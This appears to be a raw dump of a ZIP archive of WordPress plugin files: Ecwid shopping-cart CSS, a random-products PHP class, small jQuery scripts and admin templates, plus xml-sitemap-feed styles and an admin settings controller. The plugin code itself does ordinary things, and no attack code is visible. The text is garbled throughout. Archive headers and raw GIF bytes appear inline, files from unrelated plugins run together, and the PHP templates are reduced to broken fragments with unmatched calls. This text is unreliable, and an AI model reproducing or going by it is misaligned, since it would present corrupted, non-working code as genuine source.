.loader-inner, .btn-success.btn-loading:focus:active .loader-outer { fill: #83b758; } .btn-success[disabled], .btn-success[disabled]:hover, .btn-success[disabled]:focus, .btn-success[disabled]:focus:hover, .btn-success[disabled]:active, .btn-success[disabled]:focus:active { background-color: #64a52f; color: #fff; border-color: transparent; } /* btn-info */ .btn-info { color: #fff; background-color: #1baecd; border-color: transparent; } .btn-info:hover { background-color: #158ba4; } .btn-info:focus { border-color: #12798f; } .btn-info:focus:hover { background-color: #158ba4; } .btn-info:active { background-color: #48bed7; } .btn-info:focus:active { background-color: #48bed7; } .btn-info.btn.btn-loading, .btn-info.btn.btn-loading:focus:hover, .btn-info.btn.btn-loading:focus:active, .btn-info.btn-default.btn-loading, .btn-info.btn-loading.btn-icon, .btn-info.btn-default.btn-loading:focus:hover, .btn-info.btn-loading.btn-icon:focus:hover, .btn-info.btn-default.btn-loading:focus:active, .btn-info.btn-loading.btn-icon:focus:active { position: relative; background-color: #48bed7; border-color: transparent; overflow: visible; } .btn-group.opened .btn-info.btn-dropdown { border-color: #12798f; } .btn-info.btn-loading .loader-inner, .btn-info.btn-loading .loader-outer, .btn-info.btn-loading:hover .loader-inner, .btn-info.btn-loading:hover .loader-outer, .btn-info.btn-loading:focus .loader-inner, .btn-info.btn-loading:focus .loader-outer, .btn-info.btn-loading:focus:hover .loader-inner, .btn-info.btn-loading:focus:hover .loader-outer, .btn-info.btn-loading:active .loader-inner, .btn-info.btn-loading:active .loader-outer, .btn-info.btn-loading:focus:active .loader-inner, .btn-info.btn-loading:focus:active .loader-outer { fill: #48bed7; } .btn-info[disabled], .btn-info[disabled]:hover, .btn-info[disabled]:focus, .btn-info[disabled]:focus:hover, .btn-info[disabled]:active, .btn-info[disabled]:focus:active { background-color: #1baecd; color: #fff; border-color: transparent; } /* btn-info-light */ .btn-info-light { color: #fff; background-color: #99d5e1; border-color: transparent; } .btn-info-light:hover { background-color: #7aaab4; } .btn-info-light:focus { border-color: #6b959d; } .btn-info-light:focus:hover { background-color: #7aaab4; } .btn-info-light:active { background-color: #addde7; } .btn-info-light:focus:active { background-color: #addde7; } .btn-info-light.btn.btn-loading, .btn-info-light.btn.btn-loading:focus:hover, .btn-info-light.btn.btn-loading:focus:active, .btn-info-light.btn-default.btn-loading, .btn-info-light.btn-loading.btn-icon, .btn-info-light.btn-default.btn-loading:focus:hover, .btn-info-light.btn-loading.btn-icon:focus:hover, .btn-info-light.btn-default.btn-loading:focus:active, .btn-info-light.btn-loading.btn-icon:focus:active { position: relative; background-color: #addde7; border-color: transparent; overflow: visible; } .btn-group.opened .btn-info-light.btn-dropdown { border-color: #6b959d; } .btn-info-light.btn-loading .loader-inner, .btn-info-light.btn-loading .loader-outer, .btn-info-light.btn-loading:hover .loader-inner, .btn-info-light.btn-loading:hover .loader-outer, .btn-info-light.btn-loading:focus .loader-inner, .btn-info-light.btn-loading:focus .loader-outer, .btn-info-light.btn-loading:focus:hover .loader-inner, .btn-info-light.btn-loading:focus:hover .loader-outer, .btn-info-light.btn-loading:active .loader-inner, .btn-info-light.btn-loading:active .loader-outer, .btn-info-light.btn-loading:focus:active .loader-inner, .btn-info-light.btn-loading:focus:active .loader-outer { fill: #addde7; } .btn-info-light[disabled], .btn-info-light[disabled]:hover, .btn-info-light[disabled]:focus, .btn-info-light[disabled]:focus:hover, .btn-info-light[disabled]:active, .btn-info-light[disabled]:focus:active { background-color: #99d5e1; color: #fff; border-color: transparent; } /* btn-warning */ .btn-warning { color: #fff; background-color: #bfa454; border-color: transparent; } .btn-warning:hover { background-color: #988343; } .btn-warning:focus { border-color: #85723a; } .btn-warning:focus:hover { background-color: #988343; } .btn-warning:active { background-color: #cbb676; } .btn-warning:focus:active { background-color: #cbb676; } .btn-warning.btn.btn-loading, .btn-warning.btn.btn-loading:focus:hover, .btn-warning.btn.btn-loading:focus:active, .btn-warning.btn-default.btn-loading, .btn-warning.btn-loading.btn-icon, .btn-warning.btn-default.btn-loading:focus:hover, .btn-warning.btn-loading.btn-icon:focus:hover, .btn-warning.btn-default.btn-loading:focus:active, .btn-warning.btn-loading.btn-icon:focus:active { position: relative; background-color: #cbb676; border-color: transparent; overflow: visible; } .btn-group.opened .btn-warning.btn-dropdown { border-color: #85723a; } .btn-warning.btn-loading .loader-inner, .btn-warning.btn-loading .loader-outer, .btn-warning.btn-loading:hover .loader-inner, .btn-warning.btn-loading:hover .loader-outer, .btn-warning.btn-loading:focus .loader-inner, .btn-warning.btn-loading:focus .loader-outer, .btn-warning.btn-loading:focus:hover .loader-inner, .btn-warning.btn-loading:focus:hover .loader-outer, .btn-warning.btn-loading:active .loader-inner, .btn-warning.btn-loading:active .loader-outer, .btn-warning.btn-loading:focus:active .loader-inner, .btn-warning.btn-loading:focus:active .loader-outer { fill: #cbb676; } .btn-warning[disabled], .btn-warning[disabled]:hover, .btn-warning[disabled]:focus, .btn-warning[disabled]:focus:hover, .btn-warning[disabled]:active, .btn-warning[disabled]:focus:active { background-color: #bfa454; color: #fff; border-color: transparent; } /* btn-inverse */ .btn-inverse, .btn-inverse:hover, .btn-inverse:focus, .btn-inverse:active { color: #333; } /* icons on btn */ .btn [class*="icon-"] { color: inherit; padding-right: 0.688em; vertical-align: text-top; font-size: 1.143em; margin-top: 1px; opacity: .8; } .btn-left-caret [class*="icon-"] { float: left; margin-top: 4px; padding-right: 8px; } .btn-small.btn-left-caret [class*="icon-"] { float: left; margin-top: 1px; padding-right: 7px; } .btn-medium.btn-left-caret [class*="icon-"] { float: left; margin-top: 4px; } .btn-large.btn-left-caret [class*="icon-"] { float: left; margin-top: 8px; padding-right: 10px; } /* btn-icon */ .btn-icon { min-width: 40px; } .btn-icon.btn-large { min-width: 60px; } .btn-icon.btn-medium { min-width: 45px; } .btn-icon.btn-small { min-width: 30px; } .btn-icon [class*='icon-'] { padding: 0; } /* button group */ .btn-group { position: relative; display: inline-block; vertical-align: middle; } .btn-group > .btn { position: relative; float: left; } .btn-group > .btn:focus { outline: 0; z-index: 1; } .btn-group .btn + .btn, .btn-group .btn + .btn-group, .btn-group .btn-group + .btn, .btn-group .btn-group + .btn-group { margin-left: -1px; } .btn-group > .btn:not(:first-child):not(:last-child):not(.btn-dropdown) { border-radius: 0; } .btn-group > .btn:first-child { margin-left: 0; } .btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) { border-top-right-radius: 0; border-bottom-right-radius: 0; } .btn-group > .btn:last-child:not(:first-child), .btn-group > .btn-dropdown:not(:first-child) { border-top-left-radius: 0; border-bottom-left-radius: 0; } .btn-group .btn-dropdown { min-width: 30px; vertical-align: middle; } .btn-group .btn-dropdown [class*='icon-'] { font-size: .3em; vertical-align: middle; margin-top: -2px; padding: 0; } .btn-group .list-dropdown { top: 100%; right: 0; margin: 2px 0 0 0; box-shadow: 0 1px 4px #b5b5b5; display: none; } .opened > .list-dropdown { display: block; } .btn-group .btn-dropdown { border-left-color: rgba(255, 255, 255, 0.6); } .btn-group .btn-dropdown.btn-default, .btn-group .btn-dropdown.btn-icon { border-color: #cccccc; } .normalized .form-control, .normalized .input-prefix-suffix { display: inline-block; width: 100%; vertical-align: middle; outline: 0; border: 1px solid #c7c7c7; background-color: #fafbfc; color: #606060; box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.07); -moz-box-sizing: border-box; box-sizing: border-box; font-size: 0.813em; padding: 4px 8px; border-radius: 3px; line-height: 1.75em; height: 2.462em; -webkit-transition: color 0.1s linear, background-color 0.1s linear, border-color 0.1s linear, box-shadow 0.1s linear; transition: color 0.1s linear, background-color 0.1s linear, border-color 0.1s linear, box-shadow 0.1s linear; } .normalized .form-control:focus, .normalized .input-prefix-suffix:focus, .normalized .form-control.focus, .normalized .focus.input-prefix-suffix { border-width: 2px; padding: 3px 7px; } .normalized .form-control:hover, .normalized .input-prefix-suffix:hover { background-color: #fff; } .normalized .form-control:focus, .normalized .input-prefix-suffix:focus, .normalized .form-control.focus, .normalized .focus.input-prefix-suffix, .normalized .form-control:active, .normalized .input-prefix-suffix:active, .normalized .form-control.active, .normalized .active.input-prefix-suffix { background-color: #fff; border-color: #0c92e3; color: #606060; box-shadow: 0 0 4px #d1eafa; } .normalized .form-control[disabled], .normalized [disabled].input-prefix-suffix, .normalized .form-control[readonly], .normalized [readonly].input-prefix-suffix, .normalized .form-control[disabled]:hover, .normalized [disabled].input-prefix-suffix:hover, .normalized .form-control[disabled]:focus, .normalized [disabled].input-prefix-suffix:focus, .normalized .form-control[disabled]:focus:hover, .normalized [disabled].input-prefix-suffix:focus:hover, .normalized .form-control[disabled]:active, .normalized [disabled].input-prefix-suffix:active, .normalized .form-control[disabled]:focus:active, .normalized [disabled].input-prefix-suffix:focus:active { background-color: #eeeeee; border-color: #c7c7c7; box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.07); cursor: not-allowed; } .normalized .form-control::-moz-placeholder, .normalized .input-prefix-suffix::-moz-placeholder { color: #606060; opacity: .6; } .normalized .form-control::-webkit-input-placeholder, .normalized .input-prefix-suffix::-webkit-input-placeholder { color: #606060; opacity: .6; } .normalized .form-control::-ms-input-placeholder, .normalized .input-prefix-suffix::-ms-input-placeholder { color: #606060; opacity: .6; } .normalized .has-error .form-control, .normalized .has-error .input-prefix-suffix { border: 2px solid #fa5111; padding: 4px 7px; color: #cf3e07; background-color: #ffeaea; box-shadow: none; -webkit-transition: background 0.15s linear, color 0.15s linear, border-color 0.15s linear, box-shadow 0.15s linear; transition: background 0.15s linear, color 0.15s linear, border-color 0.15s linear, box-shadow 0.15s linear; } .normalized .has-error .form-control:hover, .normalized .has-error .input-prefix-suffix:hover { background-color: #fff; } .normalized .has-error .form-control:focus, .normalized .has-error .input-prefix-suffix:focus { background-color: #fff; box-shadow: 0 0 4px #F5C0C0; } .normalized .has-success .form-control, .normalized .has-success .input-prefix-suffix { border: 2px solid #468847; padding: 4px 7px; background-color: #eaffea; box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); color: #468847; transition: background 0.15s linear, color 0.15s linear, border-color 0.15s linear, box-shadow 0.15s linear; -webkit-transition: background 0.15s linear, color 0.15s linear, border-color 0.15s linear, box-shadow 0.15s linear; } .normalized .has-success .form-control:focus, .normalized .has-success .input-prefix-suffix:focus { background-color: #fff; box-shadow: 0 0 4px #88c889; } .loader svg { height: 100%; width: 100%; } [class*="loading"] .loader .spin-left { -webkit-animation: spinleft 1s infinite linear; animation: spinleft 1s infinite linear; } [class*="loading"] .loader .spin-right { -webkit-animation: spinright 0.5s infinite linear; animation: spinright 0.5s infinite linear; } .btn .loader { position: absolute; width: 100%; height: 160%; top: -30%; left: 0; display: none; z-index: 1; overflow: hidden; -webkit-animation: fadein .1s 1 linear; animation: fadein .1s 1 linear; } .btn .loader .ecwid-spinner { margin: 0 auto; height: 100%; height: -webkit-calc(100% + 0px); width: -webkit-calc(100% + 0px); } .btn-loading .loader { display: block; } PK,—[8@¹hnnTecwid-shopping-cart/includes/integrations/class-ecwid-integration-above-the-fold.phpnu„[µü¤_init( __('Random Products', 'ecwid-shopping-cart'), __('Displays a list of random products.', 'ecwid-shopping-cart') ); parent::__construct(); } protected function _get_products() { $api = new Ecwid_Api_V3(); $sorts = array( 'PRICE_ASC', 'ADDED_TIME_ASC', 'UPDATED_TIME_ASC', 'NAME_ASC' ); $total = EcwidPlatform::get_from_products_cache('ecwid_total_products'); $offset = 0; if ($total > 0) { $max = $total / 100; $offset = rand(0, $max - 1) * 100; } $found = $api->search_products(array( 'sortBy' => $sorts[rand(0, 3)], 'offset' => $offset )); $items = $found->items; $result = array(); for ($i = 0; $i < $this->_instance['number_of_products']; $i++) { if (count($items) == 0) { break; } $ind = rand(0, count($items) - 1); $result[] = $items[$ind]; unset($items[$ind]); $items = array_values($items); } return $result; } } PK-—[‰%ø  'ecwid-shopping-cart/js/cache-control.jsnu„[µü¤ ecwidCheckApiCache = function(){ jQuery.getJSON( ecwidCacheControlParams.ajax_url, { action: 'check_api_cache', } ); } jQuery(document).ready(function() { if( document.cookie.search("ecwid_event_is_working_beforeunload") < 0 ) { ecwidCheckApiCache(); } }); jQuery(window).on('beforeunload', function() { ecwidCheckApiCache(); document.cookie = "ecwid_event_is_working_beforeunload=true"; }); PK-—[MB;‡  !ecwid-shopping-cart/js/landing.jsnu„[µü¤hide_on_loading = '.create-store-button, .create-store-have-account-question'; invisible_on_loading = '.create-store-have-account-link'; show_on_loading = '.create-store-loading, .create-store-loading-note'; hide_on_success = '.create-store-loading, .create-store-loading-note'; show_on_success = '.create-store-success, .create-store-success-note'; jQuery(document).ready(function(){ jQuery('.create-store-button').click(function() { if (ecwidParams.isWL) { location.href = ecwidParams.registerLink; return; } var $context = jQuery(this).closest('.ecwid-button'); jQuery(hide_on_loading + ', ' + invisible_on_loading, $context).fadeTo(150, .01).promise().done(function() { jQuery(hide_on_loading, $context).hide(); jQuery(invisible_on_loading, $context).css('visibility', 'hidden'); jQuery(show_on_loading, $context).fadeIn(300); }) jQuery.ajax(ajaxurl + '?action=ecwid_create_store', { success: function(result) { var html = result; jQuery(hide_on_success, $context).fadeTo(150, .01).promise().done(function() { jQuery(hide_on_success, $context).hide(); jQuery(show_on_success, $context).fadeIn(300); setTimeout(function() { location.href="admin.php?page=ec-store"; }, 1000); }) }, error: function() { window.location.href = ecwidParams.registerLink; } } ); }); }); switch_to_success = function() { } PK-—[v©D$$!ecwid-shopping-cart/js/product.jsnu„[µü¤jQuery(document).ready(function() { if (typeof Ecwid != 'undefined') { Ecwid.OnPageLoaded.add(function (page) { if (page.type == 'PRODUCT') { jQuery.getJSON( ecwidProduct.ajaxurl, {'action': 'ecwid_get_post_link', 'product_id': page.productId}, function (result) { $canonical = jQuery('link[rel=canonical]'); if ($canonical.length == 0) { $canonical = jQuery('').appendTo('head'); } if (result) { $canonical.attr('href', result); } } ); } }); } });PK-—[¯9 þ.þ.3ecwid-shopping-cart/templates/admin/landing.tpl.phpnu„[µü¤

      to show your %s store on this site.', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?>
      and give permissions to show your store on this site', 'ecwid-shopping-cart'), Ecwid_Config::get_brand() ); ?>

      “%s†WordPress theme
      out of the box.', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand(), ecwid_get_theme_name() ); ?>

      at no additional cost. Updates are seamless, automatic
      and free of charge.', 'ecwid-shopping-cart'); ?>

      on all devices', 'ecwid-shopping-cart'); ?>

      payment options', 'ecwid-shopping-cart'); ?>

      on your WordPress site for free', 'ecwid-shopping-cart'); ?>

      PK-—[‹
      to this WordPress site', 'ecwid-shopping-cart' ); ?>

      Dashboard page and find the "Store ID: NNNNNNN" text, where NNNNNNN is your Store ID.', 'ecwid-shopping-cart'), Ecwid_Config::get_brand(), 'href="https://' . Ecwid_Config::get_cpanel_domain() . '/cp/CP.html?source=wporg#dashboard" target="_blank"' ); ?>
      PK-—[ß/L½§§<ecwid-shopping-cart/templates/admin/simple-reconnect.tpl.phpnu„[µü¤
      to this WordPress site', 'ecwid-shopping-cart' ); ?>
      get_reconnect_message()): ?>
      get_reconnect_message(); ?>
      get_error() == 'cancelled'): ?>
      get_error() == 'other'): ?>
      PK-—[p÷.ãBB;ecwid-shopping-cart/templates/importer/woo-complete.tpl.phpnu„[µü¤

      upgrading your %1$s plan.', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand(), 'href="' . $this->_get_billing_page_url() .'"' ); ?>

      • ' ); ?>
      • ' ); ?>

      
      
      PK-—[\Id"zz:ecwid-shopping-cart/templates/importer/woo-initial.tpl.phpnu„[µü¤ PK-—[µ÷FBB>ecwid-shopping-cart/templates/importer/woo-in-progress.tpl.phpnu„[µü¤
      0', '' . (Ecwid_Importer::count_woo_products() + Ecwid_Importer::count_woo_categories()) . '' ); ?>
      PK-—[Ô=Î$Î$-ecwid-shopping-cart/templates/landing_old.phpnu„[µü¤

      on your WordPress site', 'ecwid-shopping-cart'); ?>

      on your WordPress site', 'ecwid-shopping-cart'); ?>

      No credit card required', 'ecwid-shopping-cart'); ?>

      in two clicks', 'ecwid-shopping-cart'); ?>

      in two clicks', 'ecwid-shopping-cart'); ?>

      to show your Ecwid store on this site.', 'ecwid-shopping-cart' ); ?>
      and give permissions to show your store on this site', 'ecwid-shopping-cart'); ?>
      and give permissions to show your store on this site', 'ecwid-shopping-cart'); ?>

      with your Ecwid store', 'ecwid-shopping-cart'); ?>

      “%s†WordPress theme
      out of the box.', 'ecwid-shopping-cart'), ecwid_get_theme_name()); ?>

      at no additional cost. Updates are seamless, automatic
      and free of charge.', 'ecwid-shopping-cart'); ?>

      on all devices', 'ecwid-shopping-cart'); ?>

      payment options', 'ecwid-shopping-cart'); ?>

      on your WordPress site for free', 'ecwid-shopping-cart'); ?>

      PK.—[C¤ŸÇÇ-xml-sitemap-feed/assets/images/sitemapxml.gifnu„[µü¤GIF89aP‘fffÿÿÿÿf‰Žy,P „©ËíO˜´Ú‹³Þ¼› „âH–æ9Ãʶî ÃÁ‡Öv­Æú.Ó÷Ìñ†»¢$“&)€6"¡uu‰Z_4U WAÓçRÚRYÕ¹-Ñ(-‹£r²ó9º¶j-–ËGb¶ThHHX•æ÷×è6$Hõu(Wˆ8˜ÉÈH ŠòÈõzšBªŠå…ê:ºZôÑA[k{‹¡»ËÛ«P;PK.—[»Agg(xml-sitemap-feed/assets/styles/admin.cssnu„[µü¤div.main { width: 68%; float: left; } div.sidebar { width: 29%; padding: .9em 0 2em 2%; border-left: 1px solid #ccc; float: right; background: linear-gradient(to right, rgba(255,255,255,1) 0%,rgba(255,255,255,0) 100%); } @media screen and (max-width: 600px) { div.main, div.sidebar { width: 100%; float: none; border: none; padding: 0 } } PK.—[âœä; ; 1xml-sitemap-feed/assets/styles/sitemap-custom.xslnu„[µü¤ XML Sitemap Feed

      XML Sitemap Feed

      high
      # URL Priority
      PK.—[þegÒã ã 0xml-sitemap-feed/assets/styles/sitemap-index.xslnu„[µü¤ XML Sitemap Feed - Index

      XML Sitemap Feed - Index

      high
      # XML Sitemap Last Modified
      ()
      PK.—[Äz=,,/xml-sitemap-feed/assets/styles/sitemap-news.xslnu„[µü¤ Google News Sitemap Feed

      Google News Sitemap Feed

      high
      # Title Language Keyword(s) Stock(s) Publication Date
      ()
      PK.—[^U8P4 4 3xml-sitemap-feed/assets/styles/sitemap-taxonomy.xslnu„[µü¤ XML Sitemap Feed

      XML Sitemap Feed

      high
      # URL Priority Last Modified
      ()
      PK.—[e‹(ßæ æ *xml-sitemap-feed/assets/styles/sitemap.xslnu„[µü¤ XML Sitemap Feed

      XML Sitemap Feed

      high
      # URL # Images Priority Last Modified
      ()
      PK.—[#‚–#ÆÆ:xml-sitemap-feed/controllers/class.xmlsf-admin-notices.phpnu„[µü¤sitemaps = (array) get_option( 'xmlsf_sitemaps', array() ); if ( isset($this->sitemaps['sitemap']) ) { require XMLSF_DIR . '/models/class.xmlsf-admin-sitemap-sanitize.php'; require XMLSF_DIR . '/controllers/class.xmlsf-admin-sitemap.php'; } if ( isset($this->sitemaps['sitemap-news']) ) { require XMLSF_DIR . '/models/class.xmlsf-admin-sitemap-news-sanitize.php'; require XMLSF_DIR . '/controllers/class.xmlsf-admin-sitemap-news.php'; } // ACTION LINK add_filter( 'plugin_action_links_' . XMLSF_BASENAME, 'xmlsf_add_action_link' ); add_filter( 'plugin_row_meta', 'xmlsf_plugin_meta_links', 10, 2); add_action( 'admin_init', array( $this, 'notices_actions' ) ); add_action( 'admin_init', array( $this, 'transients_actions' ) ); add_action( 'admin_init', array( $this, 'register_settings' ), 0 ); // ACTIONS & CHECKS add_action( 'admin_init', array( $this, 'tools_actions' ) ); add_action( 'admin_init', array( $this, 'static_files' ) ); add_action( 'admin_init', array( $this, 'check_theme_conflicts' ) ); } /** * SETTINGS */ /** * Register settings and add settings fields */ public function register_settings() { // sitemaps register_setting( 'reading', 'xmlsf_sitemaps', array('XMLSF_Admin_Sanitize','sitemaps_settings') ); add_settings_field( 'xmlsf_sitemaps', __('Enable XML sitemaps','xml-sitemap-feed'), array($this,'sitemaps_settings_field'), 'reading' ); // custom domains, only when any sitemap is active if ( isset($this->sitemaps['sitemap']) || isset($this->sitemaps['sitemap-news']) ) { register_setting( 'reading', 'xmlsf_domains', array('XMLSF_Admin_Sanitize','domains_settings') ); add_settings_field( 'xmlsf_domains', __('Allowed domains','xml-sitemap-feed'), array($this,'domains_settings_field'), 'reading' ); } // help tab add_action( 'load-options-reading.php', array($this,'xml_sitemaps_help') ); // robots rules, only when permalinks are set $rules = get_option( 'rewrite_rules' ); if( ! xmlsf()->plain_permalinks() && isset( $rules['robots\.txt$'] ) ) { register_setting( 'reading', 'xmlsf_robots', array('XMLSF_Admin_Sanitize','robots_settings') ); add_settings_field( 'xmlsf_robots', __('Additional robots.txt rules','xml-sitemap-feed'), array($this,'robots_settings_field'), 'reading' ); } // ping, only when any sitemap is active if ( isset($this->sitemaps['sitemap']) || isset($this->sitemaps['sitemap-news']) ) { register_setting( 'writing', 'xmlsf_ping', array('XMLSF_Admin_Sanitize','ping_settings') ); add_settings_field( 'xmlsf_ping', __('Ping Services','xml-sitemap-feed'), array($this,'ping_settings_field'), 'writing' ); add_action( 'load-options-writing.php', array($this,'ping_settings_help') ); } } /* SITEMAPS */ public function xml_sitemaps_help() { ob_start(); include XMLSF_DIR . '/views/admin/help-tab-sitemaps.php'; include XMLSF_DIR . '/views/admin/help-tab-support.php'; $content = ob_get_clean(); get_current_screen()->add_help_tab( array( 'id' => 'sitemap-settings', 'title' => __( 'Enable XML sitemaps', 'xml-sitemap-feed' ), 'content' => $content, 'priority' => 11 ) ); ob_start(); include XMLSF_DIR . '/views/admin/help-tab-allowed-domains.php'; include XMLSF_DIR . '/views/admin/help-tab-support.php'; $content = ob_get_clean(); get_current_screen()->add_help_tab( array( 'id' => 'allowed-domains', 'title' =>__( 'Allowed domains', 'xml-sitemap-feed' ), 'content' => $content, 'priority' => 11 ) ); ob_start(); include XMLSF_DIR . '/views/admin/help-tab-robots.php'; include XMLSF_DIR . '/views/admin/help-tab-support.php'; $content = ob_get_clean(); get_current_screen()->add_help_tab( array( 'id' => 'robots', 'title' => __( 'Additional robots.txt rules', 'xml-sitemap-feed' ), 'content' => $content, 'priority' => 11 ) ); } /** * Sitemap settings fields */ public function sitemaps_settings_field() { if ( 1 == get_option('blog_public') ) : // The actual fields for data entry include XMLSF_DIR . '/views/admin/field-sitemaps.php'; else : _e( 'XML Sitemaps are not available because of your site’s visibility settings (above).', 'xml-sitemap-feed' ); endif; } /** * Domain settings field */ public function domains_settings_field() { $domains = get_option( 'xmlsf_domains' ); if ( !is_array($domains) ) $domains = array(); // The actual fields for data entry include XMLSF_DIR . '/views/admin/field-sitemap-domains.php'; } /* ROBOTS */ public function robots_settings_field() { // The actual fields for data entry include XMLSF_DIR . '/views/admin/field-robots.php'; } /* PING SETTINGS */ public function ping_settings_help() { ob_start(); include XMLSF_DIR . '/views/admin/help-tab-ping.php'; include XMLSF_DIR . '/views/admin/help-tab-support.php'; $content = ob_get_clean(); get_current_screen()->add_help_tab( array( 'id' => 'ping-services', 'title' => __( 'Ping Services', 'xml-sitemap-feed' ), 'content' => $content, 'priority' => 11 ) ); } public function ping_settings_field() { $options = get_option( 'xmlsf_ping' ); // The actual fields for data entry include XMLSF_DIR . '/views/admin/field-ping.php'; } /** * Clear settings */ public function clear_settings( $sitemap = '' ) { $defaults = 'sitemap-news' == $sitemap ? array( 'news_tags' => xmlsf()->default_news_tags ) : xmlsf()->defaults(); unset( $defaults['sitemaps'] ); foreach ( $defaults as $option => $settings ) { update_option( 'xmlsf_' . $option, $settings ); } delete_transient( 'xmlsf_static_files' ); add_settings_error( 'notice_clear_settings', 'notice_clear_settings', __('Settings reset to the plugin defaults.','xml-sitemap-feed'), 'updated' ); } /** * Delete static sitemap files */ public function delete_static_files() { if ( empty($_POST['xmlsf-delete']) ) { add_settings_error( 'static_files', 'none_selected', __('No files selected for deletion!','xml-sitemap-feed'), 'notice-warning' ); return; } $allowed_files = array('sitemap.xml','sitemap-news.xml','robots.txt'); $this->static_files(); foreach ( $_POST['xmlsf-delete'] as $name ) { if ( !in_array($name,$allowed_files) ) { unset(self::$static_files[$name]); add_settings_error( 'static_files', 'file_not_allowed', sprintf( /* Translators: static file name */ __('File %s not in the list of allowed files!','xml-sitemap-feed'), '' . $name . '' ) ); continue; } if ( !isset(self::$static_files[$name]) ) { // do nothing and be quiet about it... continue; } if ( unlink(self::$static_files[$name]) ) { unset(self::$static_files[$name]); add_settings_error( 'static_files', 'file_deleted_'.$name, sprintf( /* Translators: static file name */ __('Static file %s succesfully deleted.','xml-sitemap-feed'), '' . $name . '' ), 'updated' ); } else { add_settings_error( 'static_files', 'file_failed_'.$name, sprintf( /* Translators: static file name */ __('Static file %s deletion failed.','xml-sitemap-feed'), '' . $name . '' ) . ' ' . sprintf( /* Translators: static file full path and name */ __('This is probably due to insufficient rights. Please try to remove %s manually via FTP or your hosting provider control panel.','xml-sitemap-feed'), self::$static_files[$name] ) ); } } $this->check_static_files(); } /** * Check for static sitemap files */ public function static_files() { if ( ( is_multisite() && ! is_super_admin() ) || ! current_user_can( 'manage_options' ) ) return; if ( null === self::$static_files ) self::$static_files = get_transient( 'xmlsf_static_files' ); if ( !empty(self::$static_files) && !in_array( 'static_files', self::$dismissed ) ) { add_action( 'admin_notices', array( 'XMLSF_Admin_Notices', 'notice_static_files' ) ); } } /** * Check for static sitemap files */ public function check_static_files() { $home_path = trailingslashit( get_home_path() ); self::$static_files = array(); $check_for = $this->sitemaps; if ( get_option('xmlsf_robots') ) { $check_for['robots'] = 'robots.txt'; } foreach ( $check_for as $name => $pretty ) { if ( ! empty( $pretty ) && file_exists( $home_path . $pretty ) ) { self::$static_files[$pretty] = $home_path . $pretty; } } if ( !empty( self::$static_files ) ) { set_transient( 'xmlsf_static_files', self::$static_files ); } else { delete_transient( 'xmlsf_static_files' ); } } /** * Check for conflicting themes and their settings */ public function check_theme_conflicts() { // Catch Box Pro feed redirect if ( !in_array( 'catchbox_feed_redirect', self::$dismissed ) && function_exists( 'catchbox_is_feed_url_present' ) && catchbox_is_feed_url_present(null) ) { add_action( 'admin_notices', array( 'XMLSF_Admin_Notices', 'notice_catchbox_feed_redirect' ) ); } } public function tools_actions() { if ( isset( $_POST['xmlsf-clear-settings-submit'] ) && isset( $_POST['xmlsf-clear-settings'] ) ) { if ( xmlsf_verify_nonce('help') ) { $this->clear_settings( $_POST['xmlsf-clear-settings'] ); } } if ( isset( $_POST['xmlsf-delete-submit'] ) ) { if ( xmlsf_verify_nonce('help') ) { $this->delete_static_files(); } } if ( isset( $_POST['xmlsf-check-conflicts'] ) ) { if ( xmlsf_verify_nonce('help') ) { // reset ignored warnings delete_user_meta( get_current_user_id(), 'xmlsf_dismissed' ); self::$dismissed = array(); $this->check_static_files(); if ( empty( self::$static_files ) ) add_settings_error( 'static_files_notice', 'static_files', __('No conflicting static files found.','xml-sitemap-feed'), 'notice-info'); } } if ( isset( $_POST['xmlsf-flush-rewrite-rules'] ) ) { if ( xmlsf_verify_nonce('help') ) { // flush rewrite rules flush_rewrite_rules(); add_settings_error( 'flush_admin_notice', 'flush_admin_notice', __('WordPress rewrite rules have been flushed.','xml-sitemap-feed'), 'updated' ); } } if ( isset( $_POST['xmlsf-clear-term-meta'] ) ) { if ( xmlsf_verify_nonce('help') ) { // remove metadata global $wpdb; // terms meta $wpdb->delete( $wpdb->prefix.'termmeta', array( 'meta_key' => 'term_modified' ) ); add_settings_error( 'clear_meta_notice', 'clear_meta_notice', __('Sitemap term meta cache has been cleared.','xml-sitemap-feed'), 'updated' ); } } if ( isset( $_POST['xmlsf-clear-post-meta'] ) ) { if ( xmlsf_verify_nonce('help') ) { // remove metadata global $wpdb; // images meta $wpdb->delete( $wpdb->prefix.'postmeta', array( 'meta_key' => '_xmlsf_image_attached' ) ); $wpdb->delete( $wpdb->prefix.'postmeta', array( 'meta_key' => '_xmlsf_image_featured' ) ); update_option( 'xmlsf_images_meta_primed', array() ); // comments meta $wpdb->delete( $wpdb->prefix.'postmeta', array( 'meta_key' => '_xmlsf_comment_date' ) ); update_option( 'xmlsf_comments_meta_primed', array() ); add_settings_error( 'clear_meta_notice', 'clear_meta_notice', __('Sitemap post meta caches have been cleared.','xml-sitemap-feed'), 'updated' ); } } } public function notices_actions() { self::$dismissed = (array) get_user_meta( get_current_user_id(), 'xmlsf_dismissed' ); if ( isset( $_POST['xmlsf-dismiss-submit'] ) && isset( $_POST['xmlsf-dismiss'] ) ) { if ( xmlsf_verify_nonce('notice') ) { add_user_meta( get_current_user_id(), 'xmlsf_dismissed', $_POST['xmlsf-dismiss'], false ); self::$dismissed[] = $_POST['xmlsf-dismiss']; } } } public function transients_actions() { // CATCH TRANSIENT for flushing rewrite rules after the sitemaps setting has changed delete_transient('xmlsf_flush_rewrite_rules') && flush_rewrite_rules(); // CATCH TRANSIENT for static file check delete_transient('xmlsf_check_static_files') && $this->check_static_files(); } } new XMLSF_Admin(); PK.—[-)©fh.h.?xml-sitemap-feed/controllers/class.xmlsf-admin-sitemap-news.phpnu„[µü¤post_status || get_post_meta( $post->ID, '_xmlsf_news_exclude', true ); $disabled = 'private' == $post->post_status; // The actual fields for data entry include XMLSF_DIR . '/views/admin/meta-box-news.php'; } /* When the post is saved, save our meta data */ public function save_metadata( $post_id ) { if ( // verify nonce ! isset($_POST['_xmlsf_news_nonce']) || ! wp_verify_nonce($_POST['_xmlsf_news_nonce'], XMLSF_BASENAME) || // user not allowed ! current_user_can( 'edit_post', $post_id ) ) return; // _xmlsf_news_exclude if ( empty($_POST['xmlsf_news_exclude']) ) delete_post_meta( $post_id, '_xmlsf_news_exclude' ); else 